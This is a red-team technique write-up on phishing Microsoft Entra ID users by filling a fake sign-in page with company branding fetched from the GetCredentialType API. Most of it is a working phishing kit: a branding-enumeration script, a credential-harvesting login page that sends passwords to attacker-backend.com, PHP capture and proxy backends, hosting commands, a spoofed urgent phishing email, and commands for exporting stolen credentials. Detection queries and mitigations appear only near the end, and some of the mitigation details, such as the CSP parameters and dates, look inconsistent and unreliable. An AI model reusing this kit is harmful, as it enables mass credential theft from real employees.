| Attribute | Details |
|---|---|
| Technique ID | IA-PHISH-004 |
| MITRE ATT&CK v18.1 | T1566.002 - Phishing: Spearphishing Link |
| Tactic | Initial Access |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A (design limitation; not a vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-05-17 |
| Affected Versions | All Entra ID versions with custom branding enabled |
| Patched In | N/A (Microsoft feature; no patch available; only mitigations via CSP and user education) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) not included because automated branding poisoning is not a standardized test. All section numbers have been dynamically renumbered based on applicability.
Concept: Company branding login poisoning exploits Microsoft’s legitimate feature to customize Entra ID sign-in pages with organizational logos, background images, and text. Attackers automatically query the Microsoft GetCredentialType API with a victim’s email address to retrieve the organization’s branding assets (logos, background images, custom login text, color schemes) that are hosted on Microsoft’s content delivery network (CDN). Attackers then use these branding assets to populate a phishing page hosted on attacker-controlled infrastructure or legitimate cloud services (Firebase, Azure Blob Storage, AWS S3). The resulting phishing page is visually indistinguishable from the legitimate Entra ID sign-in page, including the victim’s company logo, colors, background images, and branded text. Victims cannot differentiate the phishing page from the real one based on visual appearance alone. The attack is fully automated at scale—attackers can target thousands of organizations without manual customization, making it dramatically more efficient than traditional phishing that requires manual per-organization branding replica creation.
Attack Surface: The GetCredentialType API is a publicly documented, unauthenticated endpoint that returns organizational branding information when provided with a valid email address from the target organization. This API is intended for legitimate clients (Outlook, Teams, Azure CLI) to display branding during authentication. No authentication is required; any attacker can enumerate company branding by submitting email addresses. The attack chain is simple: (1) attacker submits email address to GetCredentialType, (2) Microsoft returns branding URLs, (3) attacker hosts phishing page with branding, (4) attacker sends phishing email, (5) victim enters credentials into phishing page thinking it’s legitimate.
Business Impact: Critical account compromise at scale. This technique has been active since 2019 and continues to be exploited. eSentire identified 13+ attacker infrastructure sites proxying Entra ID branding content (as of 2020) and confirmed attacks as recent as March 2020. The attack is particularly effective because users cannot distinguish phishing pages from legitimate ones—the branding paradoxically becomes a liability. Organizations that invest in custom branding to improve user experience and security actually make themselves MORE vulnerable to this attack, as attackers benefit from the same branding differentiation that legitimate organizations use.
Technical Context: Unlike traditional phishing that requires manual HTML replication, branding poisoning is fully automated and reproducible at scale. The GetCredentialType API returns the exact URLs and metadata needed to populate a convincing phishing page. Attackers can target 1,000+ organizations simultaneously by simply varying the email address in their phishing emails. The branding assets (logos, images) are served from Microsoft’s CDN, providing additional legitimacy. The Entra ID portal naturally displays branding only AFTER the user enters their email, meaning the phishing page can replicate this workflow exactly, increasing perceived legitimacy.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2 | Lack of user security awareness and behavioral analytics to detect phishing. |
| DISA STIG | AC-2, AC-3 | Inadequate account management and access control. |
| CISA SCuBA | IdM-1, IdM-2 | Weak identity governance and anomalous sign-in detection. |
| NIST 800-53 | AC-2, AC-3, SI-4, SI-11 | Access enforcement, account management, monitoring, and information system monitoring. |
| GDPR | Art. 32, 33 | Insufficient security measures; breach notification. |
| DORA | Art. 9, 18 | ICT risk management and incident reporting. |
| NIS2 | Art. 21, 23 | Cyber security measures and incident reporting. |
| ISO 27001 | A.8.2.3, A.9.2.1 | User access management and authentication. |
| ISO 27005 | Risk Scenario: “Credential Phishing at Scale” | Inadequate user security awareness and anomalous sign-in detection. |
Required Privileges:
Required Access:
login.microsoftonline.com/common/GetCredentialType API (no authentication required).Supported Versions:
Tools & Environment:
Testing GetCredentialType API Directly:
# Test if GetCredentialType API returns branding for target organization
curl -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json" \
-d '{"Username":"victim@company.onmicrosoft.com"}' | jq .
# Sample response:
# {
# "Username": "victim@company.onmicrosoft.com",
# "Display": "victim@company.onmicrosoft.com",
# "IfExistsResult": "2",
# "ThrottleStatus": "0",
# "Credentials": {
# "PrimaryAuthenticationMethod": 1,
# "HasPassword": true,
# "Methods": {...},
# "FidoDeviceCount": 0,
# "HasPassword": true
# },
# "EstsProperties": {},
# "DomainProperties": {
# "IsStrongAuthRequired": true,
# "StsAuthRequired": false,
# "HomeRealmDiscoveryUrl": "https://login.microsoftonline.com/organizations/...",
# "IsFederated": false,
# "FederationProtocol": "WsFed"
# },
# "Branding": {
# "CtaUrl": null,
# "PreferredLanguage": "en",
# "BannerLogo": "https://secure.aadcdn.microsoftonline-p.com/...",
# "BannerText": "Welcome to Company Name",
# "BannerBackgroundColor": "#FFFFFF",
# "Logo": "https://secure.aadcdn.microsoftonline-p.com/...",
# "CreativeAssets": {
# "BackgroundImageUrl": "https://secure.aadcdn.microsoftonline-p.com/..."
# }
# }
# }
What to Look For:
PowerShell Enumeration:
# Enumerate GetCredentialType for multiple organizations
$emails = @(
"user@company1.onmicrosoft.com",
"user@company2.onmicrosoft.com",
"user@company3.onmicrosoft.com"
)
foreach ($email in $emails) {
$body = ConvertTo-Json @{ Username = $email }
$response = Invoke-WebRequest -Uri "https://login.microsoftonline.com/common/GetCredentialType" `
-Method POST `
-ContentType "application/json" `
-Body $body
$data = $response.Content | ConvertFrom-Json
Write-Host "[*] Organization: $email"
Write-Host " Logo URL: $($data.Branding.Logo)"
Write-Host " Banner Text: $($data.Branding.BannerText)"
Write-Host " Background: $($data.Branding.CreativeAssets.BackgroundImageUrl)"
}
Supported Versions: All Entra ID versions with custom branding
Scenario: Attacker automatically retrieves company branding from GetCredentialType API, populates a phishing page with the branding, hosts it on cloud storage, and sends phishing emails. The phishing page is visually identical to the legitimate Entra ID sign-in page.
Objective: Automatically retrieve company logos, background images, and text from Microsoft’s API.
Python Script:
#!/usr/bin/env python3
"""
Automated Entra ID Company Branding Enumeration
Purpose: Retrieve branding assets for target organizations
"""
import requests
import json
import time
from urllib.parse import urljoin
def get_organization_branding(email):
"""
Query GetCredentialType API to retrieve organization branding
"""
url = "https://login.microsoftonline.com/common/GetCredentialType"
payload = {
"Username": email
}
headers = {
"Content-Type": "application/json"
}
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
response.raise_for_status()
data = response.json()
# Extract branding information
branding = data.get("Branding", {})
return {
"email": email,
"organization": email.split("@")[1],
"banner_logo": branding.get("BannerLogo"),
"logo": branding.get("Logo"),
"banner_text": branding.get("BannerText"),
"banner_background_color": branding.get("BannerBackgroundColor"),
"background_image": branding.get("CreativeAssets", {}).get("BackgroundImageUrl"),
"preferred_language": branding.get("PreferredLanguage"),
"raw_response": data
}
except requests.exceptions.RequestException as e:
print(f"[-] Error querying GetCredentialType for {email}: {e}")
return None
def main():
# Target organizations (obtained from employee directory, LinkedIn, etc.)
target_emails = [
"user@company1.onmicrosoft.com",
"user@company2.onmicrosoft.com",
"user@company3.com", # Custom domain
"user@company4.onmicrosoft.com"
]
print("[*] Enumerating organization branding...")
branding_cache = {}
for email in target_emails:
print(f"\n[*] Querying branding for {email}")
branding = get_organization_branding(email)
if branding:
print(f"[+] Branding retrieved:")
print(f" Organization: {branding['organization']}")
print(f" Logo URL: {branding['logo']}")
print(f" Banner Text: {branding['banner_text']}")
print(f" Background: {branding['background_image']}")
# Store branding for later use
branding_cache[branding['organization']] = branding
# Save to JSON file for persistence
with open(f"branding_{branding['organization']}.json", "w") as f:
json.dump(branding, f, indent=2)
# Rate limiting (avoid triggering abuse detection)
time.sleep(1)
print(f"\n[+] Enumeration complete. Retrieved branding for {len(branding_cache)} organizations.")
return branding_cache
if __name__ == "__main__":
branding_data = main()
# Use branding_data to populate phishing pages
print("\n[*] Branding data can now be used to populate phishing pages...")
Expected Output:
[*] Enumerating organization branding...
[*] Querying branding for user@company1.onmicrosoft.com
[+] Branding retrieved:
Organization: company1.onmicrosoft.com
Logo URL: https://secure.aadcdn.microsoftonline-p.com/...
Banner Text: Welcome to Acme Corporation
Background: https://secure.aadcdn.microsoftonline-p.com/...
[+] Enumeration complete. Retrieved branding for 4 organizations.
What This Means:
Objective: Create and host a phishing page with retrieved branding on Firebase, Azure Blob Storage, or AWS S3.
HTML Template (Branding-Poisoned Phishing Page):
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue", Arial, sans-serif;
background-color: #fff;
}
.container { max-width: 440px; margin: 0 auto; padding: 40px 20px; }
.header {
text-align: center;
margin-bottom: 40px;
background-image: url('BACKGROUND_IMAGE_URL_FROM_API');
background-size: cover;
background-position: center;
padding: 40px 20px;
border-radius: 2px;
}
.logo {
max-height: 40px;
max-width: 200px;
margin-bottom: 20px;
}
.banner-text {
font-size: 20px;
font-weight: 300;
color: #333;
margin-bottom: 20px;
}
.login-form {
border: 1px solid #d3d3d3;
padding: 30px;
border-radius: 2px;
box-shadow: 0 1px 2px rgba(0,0,0,0.05);
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
font-size: 13px;
font-weight: 600;
margin-bottom: 8px;
color: #333;
}
input {
width: 100%;
padding: 10px 12px;
border: 1px solid #ccc;
border-radius: 2px;
font-size: 13px;
}
button {
width: 100%;
padding: 10px;
background-color: #0078d4;
color: white;
border: none;
border-radius: 2px;
font-size: 13px;
font-weight: 600;
cursor: pointer;
margin-top: 15px;
}
button:hover { background-color: #005a9e; }
.error { color: #c50f1f; font-size: 12px; margin-top: 10px; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<!-- Branding assets retrieved from GetCredentialType API -->
<img src="LOGO_URL_FROM_API" alt="Company Logo" class="logo">
<div class="banner-text">BANNER_TEXT_FROM_API</div>
</div>
<div class="login-form">
<form id="loginForm" onsubmit="submitLogin(event)">
<div class="form-group">
<label>Email, phone, or Skype</label>
<input type="text" id="username" name="username" required autofocus>
</div>
<div class="form-group" id="passwordGroup" style="display:none;">
<label>Password</label>
<input type="password" id="password" name="password" required>
</div>
<div id="error" class="error"></div>
<button type="submit" id="submitBtn">Next</button>
</form>
</div>
</div>
<script>
async function submitLogin(event) {
event.preventDefault();
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const submitBtn = document.getElementById("submitBtn");
const errorDiv = document.getElementById("error");
// If only username entered
if (!password) {
submitBtn.disabled = true;
submitBtn.innerText = "Checking...";
// Show password field
setTimeout(() => {
document.getElementById("passwordGroup").style.display = "block";
submitBtn.innerText = "Sign in";
submitBtn.disabled = false;
}, 800);
return;
}
// If password entered, send to attacker's backend
try {
submitBtn.disabled = true;
submitBtn.innerText = "Signing in...";
const response = await fetch("https://attacker-backend.com/capture-creds", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
username: username,
password: password,
timestamp: new Date().toISOString(),
user_agent: navigator.userAgent,
ip: null // Will be captured by backend
})
});
if (response.ok) {
// Redirect to legitimate Outlook
window.location.href = "https://outlook.office365.com";
} else {
errorDiv.innerText = "Invalid password. Try again.";
submitBtn.disabled = false;
submitBtn.innerText = "Sign in";
}
} catch (e) {
errorDiv.innerText = "Connection error. Please try again.";
submitBtn.disabled = false;
submitBtn.innerText = "Sign in";
}
}
</script>
</body>
</html>
Replace Placeholder Values:
// After retrieving branding via GetCredentialType API:
html = html.replace("LOGO_URL_FROM_API", branding.logo);
html = html.replace("BACKGROUND_IMAGE_URL_FROM_API", branding.background_image);
html = html.replace("BANNER_TEXT_FROM_API", branding.banner_text);
html = html.replace("BANNER_BACKGROUND_COLOR", branding.banner_background_color || "#fff");
Upload to Firebase Storage:
# Create Firebase project and upload phishing page
firebase init
firebase deploy --only hosting
# OR directly upload HTML to Azure Blob Storage
az storage blob upload \
--account-name attacker-storage \
--container-name phishing \
--name login.html \
--file phishing-page.html \
--auth-mode login
# Resulting URL: https://attacker-storage.blob.core.windows.net/phishing/login.html
# This appears to come from legitimate Azure infrastructure, increasing credibility
What This Accomplishes:
Objective: Set up attacker-controlled backend to receive and store stolen credentials.
PHP Backend (Attacker-Controlled Server):
<?php
// Backend: https://attacker-backend.com/capture-creds
// Receive credentials from phishing page
$input = file_get_contents("php://input");
$data = json_decode($input, true);
$username = $data['username'];
$password = $data['password'];
$timestamp = $data['timestamp'];
$user_agent = $data['user_agent'];
$ip_address = $_SERVER['REMOTE_ADDR'];
// Log credentials to database
$pdo = new PDO("mysql:host=localhost;dbname=phished_creds", "attacker", "password");
$stmt = $pdo->prepare("
INSERT INTO credentials (username, password, timestamp, user_agent, ip_address)
VALUES (?, ?, ?, ?, ?)
");
$stmt->execute([$username, $password, $timestamp, $user_agent, $ip_address]);
echo json_encode([
"status" => "success",
"message" => "Credentials captured"
]);
// Log to file for backup
file_put_contents(
"/var/log/phishing.log",
"[" . date("Y-m-d H:i:s") . "] $username / $password from $ip_address\n",
FILE_APPEND
);
?>
Credentials Stored in Database:
| id | username | password | timestamp | ip_address |
|----|----------|----------|-----------|------------|
| 1 | alice@company.com | MyPassword123 | 2025-05-10T14:30:00Z | 203.0.113.45 |
| 2 | bob@company.com | SecurePass! | 2025-05-10T14:45:00Z | 203.0.113.46 |
| 3 | carol@company.com | P@ssw0rd2025 | 2025-05-10T15:00:00Z | 203.0.113.47 |
Objective: Deliver phishing link to victims.
Phishing Email Template:
From: admin@company.com (spoofed or compromised)
Subject: Action Required: Verify Your Account - 24 Hours
Dear User,
For security reasons, we need to verify your Microsoft 365 account. Your access will be restricted in 24 hours if you do not verify.
Click below to verify your account:
https://firebasestorage.googleapis.com/v0/b/phishing-project.appspot.com/o/login.html
Verification takes less than 1 minute.
---
Microsoft 365 IT Support Team
Why This Works:
Objective: Track phishing campaign success and extract harvested credentials.
Query Database for Captured Credentials:
# SSH into attacker's backend server
ssh attacker@backend.attacker-server.com
# Query captured credentials
mysql -u attacker -ppassword phished_creds -e "
SELECT username, password, timestamp, ip_address
FROM credentials
ORDER BY timestamp DESC
LIMIT 10;
"
# Output:
# alice@company.com | MyPassword123 | 2025-05-10 14:30:00 | 203.0.113.45
# bob@company.com | SecurePass! | 2025-05-10 14:45:00 | 203.0.113.46
# carol@company.com | P@ssw0rd2025 | 2025-05-10 15:00:00 | 203.0.113.47
# Export for use in next attack phase
mysql -u attacker -ppassword phished_creds -e "
SELECT CONCAT(username, ':', password)
FROM credentials;
" > credentials.txt
Supported Versions: All Entra ID versions with custom branding
Scenario: Attacker’s backend PHP server proxies GetCredentialType API calls to automatically retrieve branding for any target organization, then dynamically injects branding into attacker’s phishing pages.
Objective: Attacker’s server acts as intermediary between phishing page and Microsoft’s API.
PHP Proxy Server (rohstofff[.]de pattern identified by eSentire):
<?php
// Backend proxy: https://attacker-backend.com/api/branding.php?email=user@company.com
$email = $_GET['email'];
// Validate email format
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die(json_encode(["error" => "Invalid email"]));
}
// Query Microsoft's GetCredentialType API
$url = "https://login.microsoftonline.com/common/GetCredentialType";
$payload = json_encode(["Username" => $email]);
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => $payload,
CURLOPT_HTTPHEADER => ["Content-Type: application/json"],
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => 10
]);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode($response, true);
// Extract and return only branding information
$result = [
"logo" => $data['Branding']['Logo'] ?? null,
"banner_text" => $data['Branding']['BannerText'] ?? null,
"banner_logo" => $data['Branding']['BannerLogo'] ?? null,
"background_image" => $data['Branding']['CreativeAssets']['BackgroundImageUrl'] ?? null,
"banner_color" => $data['Branding']['BannerBackgroundColor'] ?? "#ffffff"
];
header("Content-Type: application/json");
echo json_encode($result);
// Log the request (monitoring)
file_put_contents(
"/var/log/branding_requests.log",
"[" . date("Y-m-d H:i:s") . "] Branding requested for: $email\n",
FILE_APPEND
);
?>
Objective: Phishing page automatically retrieves and populates branding for the victim’s organization.
Dynamic HTML/JavaScript:
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
/* ... CSS from previous example ... */
</style>
</head>
<body>
<div class="container">
<div class="header" id="header">
<img id="logo" alt="Company Logo" class="logo">
<div id="bannerText" class="banner-text"></div>
</div>
<div class="login-form">
<form id="loginForm">
<div class="form-group">
<label>Email, phone, or Skype</label>
<input type="email" id="username" name="username" required autofocus onchange="fetchBranding(this.value)">
</div>
<div class="form-group" id="passwordGroup" style="display:none;">
<label>Password</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit" id="submitBtn">Next</button>
</form>
</div>
</div>
<script>
async function fetchBranding(email) {
// When victim enters email, fetch branding from attacker's proxy
try {
const response = await fetch(
`https://attacker-backend.com/api/branding.php?email=${encodeURIComponent(email)}`
);
const branding = await response.json();
// Populate page with branding
document.getElementById("logo").src = branding.logo;
document.getElementById("bannerText").innerText = branding.banner_text;
document.getElementById("header").style.backgroundColor = branding.banner_color;
console.log("[*] Branding fetched for " + email);
} catch (e) {
console.error("Error fetching branding:", e);
}
}
document.getElementById("loginForm").onsubmit = function(e) {
e.preventDefault();
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
if (!password) {
// First step: show password field
document.getElementById("passwordGroup").style.display = "block";
return;
}
// Send credentials to backend
fetch("https://attacker-backend.com/api/capture.php", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
username: username,
password: password,
timestamp: new Date().toISOString()
})
}).then(() => {
// Redirect to real Outlook
window.location = "https://outlook.office365.com";
});
};
</script>
</body>
</html>
What This Accomplishes:
Endpoint: https://login.microsoftonline.com/common/GetCredentialType
Method: POST
Authentication: None required
Request Body: { "Username": "user@company.com" }
Usage:
curl -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json" \
-d '{"Username":"user@company.com"}' | jq '.Branding'
References:
Usage (for hosting phishing pages):
firebase init
firebase deploy --only hosting
# Hosting URL: https://project-name.firebaseapp.com/
For automated GetCredentialType API queries:
import requests
response = requests.post(
"https://login.microsoftonline.com/common/GetCredentialType",
json={"Username": "user@company.com"}
)
branding = response.json()["Branding"]
KQL Query:
SignInLogs
| where ResourceIdentity == "login.microsoftonline.com"
| where OperationName == "GetCredentialType" or OperationName == "Sign-in"
| where IPAddress !in ("Internal IP Range") // Exclude internal IP ranges
| summarize
APICallCount = count(),
UniqueEmails = dcount(UserPrincipalName),
FirstCall = min(TimeGenerated),
LastCall = max(TimeGenerated)
by IPAddress
| where APICallCount > 50 // High volume of API calls suspicious
| project IPAddress, APICallCount, UniqueEmails, FirstCall, LastCall
What This Detects:
KQL Query:
SignInLogs
| where IPAddress in (
// Known cloud hosting IPs (Firebase, Azure Blob, AWS S3)
"35.192.0.0/10", // Firebase hosting IP range
"13.107.0.0/14", // Azure hosting
"52.0.0.0/6" // AWS hosting
) or ClientAppUsed == "browser"
| where ResourceIdentity != "login.microsoftonline.com" // Not legitimate Microsoft domain
| project TimeGenerated, UserPrincipalName, IPAddress, ClientAppUsed, UserAgent
KQL Query:
SignInLogs
| where TimeGenerated > ago(24h)
| extend UserAgent = tostring(DeviceDetail.userAgent)
| where UserAgent contains "firebase" or UserAgent contains "blob.core" or UserAgent contains "githubusercontent"
| project TimeGenerated, UserPrincipalName, IPAddress, UserAgent, Status
Event ID: 4624 (Successful Logon)
Note: Company branding poisoning is primarily a phishing attack at the OAuth/browser level. Windows event logs provide limited visibility.
PowerShell:
# Search for password resets or MFA method additions in past 7 days
# (Potential follow-up to successful phishing)
Search-UnifiedAuditLog `
-Operations "Change user password", "Add user", "Set user" `
-StartDate (Get-Date).AddDays(-7) `
-ResultSize 1000 | `
Where-Object { $_.CreatedDate -gt (Get-Date).AddDays(-1) } | `
Select-Object UserIds, Operations, CreatedDate | `
Export-Csv -Path "C:\Audit\suspicious_account_changes.csv"
# Check for mailbox forwarding rule creation (persistence)
Search-UnifiedAuditLog `
-Operations "New-InboxRule", "Set-InboxRule" `
-StartDate (Get-Date).AddDays(-1) | `
Where-Object { $_.AuditData -like "*ForwardAsAttachmentTo*" } | `
Select-Object UserIds, CreatedDate, AuditData
1. Implement CSP (Content Security Policy) for Sign-In Pages
Microsoft is rolling out CSP restrictions beginning mid-to-late October 2026 to block unauthorized script injection. Organizations should proactively implement these controls.
Manual Steps (Azure Portal - Preview as of December 2025):
PowerShell (Proactive Implementation):
# Configure CSP for Entra ID sign-in pages (preview API)
# This will be standard in mid-2026
$params = @{
DisplayName = "Company Branding with CSP"
EnableCSP = $true
CSPSourceWhitelist = @(
"https://secure.aadcdn.microsoftonline-p.com",
"https://aadcnd.msauthimages.net"
)
}
Update-MgOrganizationBrandingLocalization -BodyParameter $params
What This Does:
2. Disable or Restrict Custom Branding for High-Risk Scenarios
If custom branding creates unacceptable risk, disable it.
Manual Steps (Azure Portal):
3. User Security Awareness Training
Train users to verify URLs in address bar, even when page appearance seems legitimate.
Key Messages:
4. Enable Real-Time Anomalous Sign-In Detection
Monitor for sign-ins from cloud hosting IPs (Firebase, Azure Blob, AWS S3), which indicate phishing-from-cloud patterns.
Manual Steps (Entra ID Protection):
5. Block GetCredentialType API Enumeration from External IPs
(Difficult to implement without blocking legitimate clients, but possible with conditional access.)
Alternative: Monitor GetCredentialType Abuse
# Create custom detection rule in Sentinel for bulk GetCredentialType queries
$signInLogs = Get-MgAuditLogSignIn -Filter "resourceIdentity eq 'login.microsoftonline.com'" | `
Group-Object IPAddress | `
Where-Object { $_.Count -gt 100 }
foreach ($group in $signInLogs) {
Write-Host "[!] POTENTIAL ENUMERATION: $($group.Name) made $($group.Count) API calls"
}
6. Implement DMARC, SPF, and DKIM to Prevent Domain Spoofing
Prevent attackers from sending emails spoofed as internal senders.
Manual Steps (Microsoft 365):
Validation Command (Verify Mitigations):
# Check if custom branding is configured (indicator of risk)
$branding = Get-MgOrganizationBranding
if ($branding.BannerLogoUrl -or $branding.BackgroundImageUrl) {
Write-Host "[!] Custom branding is enabled—ensure CSP protections are active"
Write-Host " Logo: $($branding.BannerLogoUrl)"
Write-Host " Background: $($branding.BackgroundImageUrl)"
} else {
Write-Host "[+] Custom branding disabled (lower phishing risk)"
}
# Verify CSP is enforced (when available)
# (This feature will be available mid-2026)
Technical IOCs:
Behavioral IOCs:
Cloud Logs:
Network/DNS:
Immediate Actions (0-15 minutes):
# Revoke all active sessions for compromised user
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'alice@company.com'").Id
# Force password reset on next sign-in
Update-MgUser -UserId "alice@company.com" -ForceChangePasswordNextSignIn $true
# Remove rules that might have been created by attacker
Get-InboxRule -Mailbox "alice@company.com" | `
Where-Object { $_.Actions -contains "Archive" } | `
Remove-InboxRule -Confirm:$false
# Remove any suspicious MFA methods
Get-MgUserAuthenticationMethod -UserId "alice@company.com" | `
Where-Object { $_.DisplayName -like "*new*" -or $_.DisplayName -like "*secondary*" } | `
Remove-MgUserAuthenticationMethod
Containment (15-60 minutes):
# Check recent activity
$activity = Search-UnifiedAuditLog -UserIds "alice@company.com" -StartDate (Get-Date).AddDays(-1) | `
Select-Object UserIds, Operations, CreatedDate | `
Sort-Object CreatedDate -Descending | `
Select-Object -First 50
$activity | Export-Csv -Path "C:\Investigation\alice_activity.csv"
# Search for links in phishing emails
$phishingEmails = Search-UnifiedAuditLog -Operations "SuspiciousActivity" | `
Where-Object { $_.AuditData -like "*firebase*" -or $_.AuditData -like "*blob.core*" }
# Extract and block URLs
$phishingEmails | ForEach-Object {
$data = ConvertFrom-Json $_.AuditData
Write-Host "[!] Phishing URL: $($data.Url)"
}
Recovery (1-24 hours):
# Check if attacker used compromised account to target other users
Get-TransportRule | Where-Object { $_.Name -like "*Forward*" }
# Search for emails sent to external domains
Search-UnifiedAuditLog -UserIds "alice@company.com" -Operations "Send" | `
Where-Object { $_.AuditData -like "*external*" }
# Find other users with signs of phishing
$suspiciousUsers = Get-MgAuditLogSignIn -Filter "createdDateTime gt 2025-05-10" | `
Where-Object { $_.IPAddress -like "35.192*" -or $_.IPAddress -like "13.107*" } | `
Select-Object -ExpandProperty UserPrincipalName | `
Sort-Object -Unique
Write-Host "[!] Found $($suspiciousUsers.Count) users signing in from cloud provider IPs"
$suspiciousUsers | ForEach-Object { Write-Host " $_" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | T1589 (Gather Victim Identity Info) | Attacker enumerates target organizations via LinkedIn, public employee directories |
| 2 | Credential Access | [IA-PHISH-004] | Attacker uses GetCredentialType API to retrieve company branding, creates phishing pages |
| 3 | Initial Access | T1566.002 (Phishing: Spearphishing Link) | Attacker sends phishing emails with links to branding-poisoned pages |
| 4 | Credential Access | T1110 (Brute Force) | If phishing succeeds, attacker obtains valid credentials |
| 5 | Persistence | T1098 (Account Manipulation) | Attacker creates inbox rules, adds MFA methods, establishes persistence |
| 6 | Impact | T1537 (Transfer Data to Cloud Account) | Attacker exfiltrates emails, files, Teams data; performs BEC campaigns |
Discovery: eSentire’s threat research team (TRU)
Timeline: First observed June 2019; attacks confirmed as recent as March 2020
Methodology:
Attacker Infrastructure Identified:
| Domain | First Seen | Last Seen |
|---|---|---|
| rohstofff[.]de | September 2019 | February 2020 |
| rnln-fs[.]com | October 2019 | January 2020 |
| hismhyrot[.]xyz | October 2019 | November 2019 |
| numis[.]ml | November 2019 | November 2019 |
| xericlandxanthippelady[.]com | September 2019 | November 2019 |
| dorregocompany[.]com | October 2019 | November 2019 |
| vvangon[.]com | October 2019 | November 2019 |
Attack Pattern:
┌─────────────────────────────────────────────┐
│ 1. Attacker identifies target organization │
│ (e.g., acme-corp.com) │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Query GetCredentialType API │
│ POST /common/GetCredentialType │
│ {"Username":"admin@acme-corp.com"} │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Retrieve Branding Assets from Microsoft │
│ Logo: https://secure.aadcdn.... │
│ Background: https://secure.aadcdn.... │
│ Text: "Welcome to Acme Corporation" │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Create Phishing Page with Branding │
│ Host on Firebase: phishing-app.firebaseapp.com │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 5. Send Phishing Email │
│ To: acme employees │
│ Subject: Verify Account │
│ Link: https://phishing-app.firebaseapp.com │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 6. Victim Sees Familiar Branding │
│ Logo: Acme logo (from Microsoft CDN) │
│ Background: Acme background │
│ Text: "Welcome to Acme Corporation" │
│ => User cannot distinguish from real! │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 7. Victim Enters Credentials │
│ Username: alice@acme-corp.com │
│ Password: MyPassword123 │
└──────────────┬──────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 8. Attacker Captures Credentials │
│ Stored in rohstofff[.]de database │
│ + IP Address, User Agent, Timestamp │
└─────────────────────────────────────────────┘
Impact:
References:
Current Status: Technique remains ACTIVE
Evidence:
Why Still Effective:
Future Trend: